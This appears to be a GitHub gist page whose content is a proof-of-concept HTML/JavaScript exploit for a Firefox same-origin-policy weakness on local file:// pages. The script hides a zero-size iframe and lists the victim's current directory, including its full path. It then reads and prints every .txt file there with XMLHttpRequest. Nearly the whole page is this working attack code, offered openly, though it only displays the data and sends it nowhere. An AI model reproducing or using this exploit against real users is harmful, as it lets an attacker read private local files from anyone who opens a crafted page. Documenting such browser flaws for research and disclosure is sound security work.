Skip to content

Instantly share code, notes, and snippets.

@Voorivex
Created July 4, 2019 08:26
Show Gist options
  • Save Voorivex/a39cce61655e44f1cb62e961bdb3ff50 to your computer and use it in GitHub Desktop.
Save Voorivex/a39cce61655e44f1cb62e961bdb3ff50 to your computer and use it in GitHub Desktop.

Revisions

  1. Voorivex created this gist Jul 4, 2019.
    121 changes: 121 additions & 0 deletions Firefox-CORS-Misconfig.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,121 @@
    <html>
    <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
    <meta content="utf-8" http-equiv="encoding">

    <body onload="CreateListReaderIframe()">

    <script>

    function CreateListReaderIframe() {
    var ifr = document.createElement("iframe");
    ifr.src = "."
    ifr.id = "ifr"
    ifr.style = "width:0%; height:0%; border: 0"

    ifr.onload = function() {
    Check(ifr)
    }

    document.body.append(ifr);

    }




    function Check(ifr) {

    if (ifr.contentDocument == null) { //SOP not bypassed.Trying to bypass it by opening current directory.

    location = "."

    } else { //SOP bypassed,Reading list of files and directories in the current directory...

    var CWD_Contents = ifr.contentDocument.body.innerText
    ExtractFilesAndDirectories(CWD_Contents)

    }

    }




    function ExtractFilesAndDirectories(CWD_Contents) {

    var lines = CWD_Contents.split("\n")

    document.write("Same Origion Policy was bypassed! We can list contents of current directory for reading them.<br>")
    document.write("<br>" + "-".repeat(400) + "<br>")

    Full_Path = lines[0].replace("Index of file://", "")
    document.write("Full path of current directory: " + Full_Path + "<br><br>")
    document.write("<br>" + "-".repeat(400) + "<br>")

    lines.splice(0, 5)
    tempArr = []
    lines.forEach(function(line) {
    if (line != "") {
    tempArr.push(line)
    }

    })

    lines = tempArr
    len = lines.length
    tempArr = []
    for (i = 0; i < len; i++) {

    if (i != len - 1) {
    tempArr.push(lines[i] + " " + lines[i + 1])
    i++;
    }

    }

    lines = tempArr
    files_and_directories = lines.join("<br>")

    document.write("Contents of current directory extracted:<br><br>")
    document.write(files_and_directories)
    document.write("<br>" + "-".repeat(400) + "<br>")

    document.write("<br><br>Reading text files (.txt) in the current directory :<br><br>")

    lines.forEach(function(line) {
    if (line.indexOf(".txt") != -1) {
    txt_filename = line.split(" ")[0]
    ReadFile(txt_filename)
    }

    })


    }




    function ReadFile(filename) {
    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = function() {
    if (xhr.readyState == 4 && xhr.status == 200) {
    file_contents = xhr.responseText
    document.write("Conntents of " + filename + ":<br>")
    document.body.innerText += file_contents
    document.write("<br>" + "-".repeat(400) + "<br>")
    }
    }

    xhr.open("GET", filename);
    xhr.send();
    }



    </script>

    </body>

    </html>